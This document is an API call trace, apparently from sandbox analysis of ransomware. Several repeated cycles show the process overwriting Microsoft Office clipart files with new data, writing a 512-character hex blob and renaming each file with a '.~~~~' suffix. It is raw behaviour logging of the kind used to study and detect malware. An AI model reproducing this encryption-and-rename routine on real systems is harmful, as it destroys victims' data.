	[0093.233] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffe40e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.234] WriteFile (in: hFile=0x12c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1bf2, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x1bf2, lpOverlapped=0x0) returned 1
	[0093.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0093.234] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.235] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.235] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.235] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.235] CloseHandle (hObject=0x12c) returned 1
	[0093.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.235] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.~~~~")) returned 1
	[0093.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0093.236] GetLastError () returned 0x0
	[0093.236] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0093.237] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.237] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0093.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0093.238] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21322780442) returned 1
	[0093.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa1582af0, dwHighDateTime=0x1d60e1e)) 
	[0093.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0093.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0093.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0093.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388288
	[0093.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388288 | out: hHeap=0x300000) returned 1
	[0093.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38c418
	[0093.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.238] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0093.239] GetLastError () returned 0x0
	[0093.239] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0093.239] GetLastError () returned 0x0
	[0093.244] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff3ac6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.244] WriteFile (in: hFile=0x12c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xc53a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0xc53a, lpOverlapped=0x0) returned 1
	[0093.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0093.245] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.245] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.245] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.245] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.246] CloseHandle (hObject=0x12c) returned 1
	[0093.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.246] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.~~~~")) returned 1
	[0093.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0093.247] GetLastError () returned 0x0
	[0093.247] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0093.248] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.248] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0093.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0093.248] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21323858468) returned 1
	[0093.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa1582af0, dwHighDateTime=0x1d60e1e)) 
	[0093.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0093.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0093.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0093.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3882f8
	[0093.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3882f8 | out: hHeap=0x300000) returned 1
	[0093.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38c678
	[0093.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.249] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0093.249] GetLastError () returned 0x0
	[0093.249] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0093.250] GetLastError () returned 0x0
	[0093.367] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff5453, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.367] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xabad, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xabad, lpOverlapped=0x0) returned 1
	[0093.368] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0093.368] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.368] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.368] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.368] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.368] CloseHandle (hObject=0x12c) returned 1
	[0093.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.369] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.~~~~")) returned 1
	[0093.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0093.370] GetLastError () returned 0x0
	[0093.370] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0093.371] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.371] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0093.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0093.371] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21336148205) returned 1
	[0093.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa15cedb0, dwHighDateTime=0x1d60e1e)) 
	[0093.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0093.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0093.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0093.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388330
	[0093.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388330 | out: hHeap=0x300000) returned 1
	[0093.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38c7a8
	[0093.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.372] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0093.372] GetLastError () returned 0x0
	[0093.372] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0093.372] GetLastError () returned 0x0
	[0093.576] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffb12d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.576] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x4ed3, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x4ed3, lpOverlapped=0x0) returned 1
	[0093.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0093.578] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.578] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.578] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.578] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.578] CloseHandle (hObject=0x12c) returned 1
	[0093.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.579] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.~~~~")) returned 1
	[0093.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0093.580] GetLastError () returned 0x0
	[0093.580] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0093.581] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.581] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0093.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0093.581] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21357153845) returned 1
	[0093.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa17e40f0, dwHighDateTime=0x1d60e1e)) 
	[0093.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0093.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0093.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0093.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3883d8
	[0093.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3883d8 | out: hHeap=0x300000) returned 1
	[0093.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38c840
	[0093.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.582] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0093.582] GetLastError () returned 0x0
	[0093.582] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0093.582] GetLastError () returned 0x0
	[0093.736] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffddce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.736] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x2232, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x2232, lpOverlapped=0x0) returned 1
	[0093.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0093.740] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.741] WriteFile (in: hFile=0x12c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.741] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.741] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.741] CloseHandle (hObject=0x12c) returned 1
	[0093.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0093.746] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.~~~~")) returned 1
	[0093.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0093.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0093.747] GetLastError () returned 0x0
	[0093.747] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0093.748] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.748] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0093.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0093.748] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21373843643) returned 1
	[0093.748] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa1960eb0, dwHighDateTime=0x1d60e1e)) 
	[0093.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0093.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0093.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0093.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388448
	[0093.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388448 | out: hHeap=0x300000) returned 1
	[0093.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0093.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e128
	[0093.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0093.749] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0093.749] GetLastError () returned 0x0
	[0093.749] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0093.749] GetLastError () returned 0x0
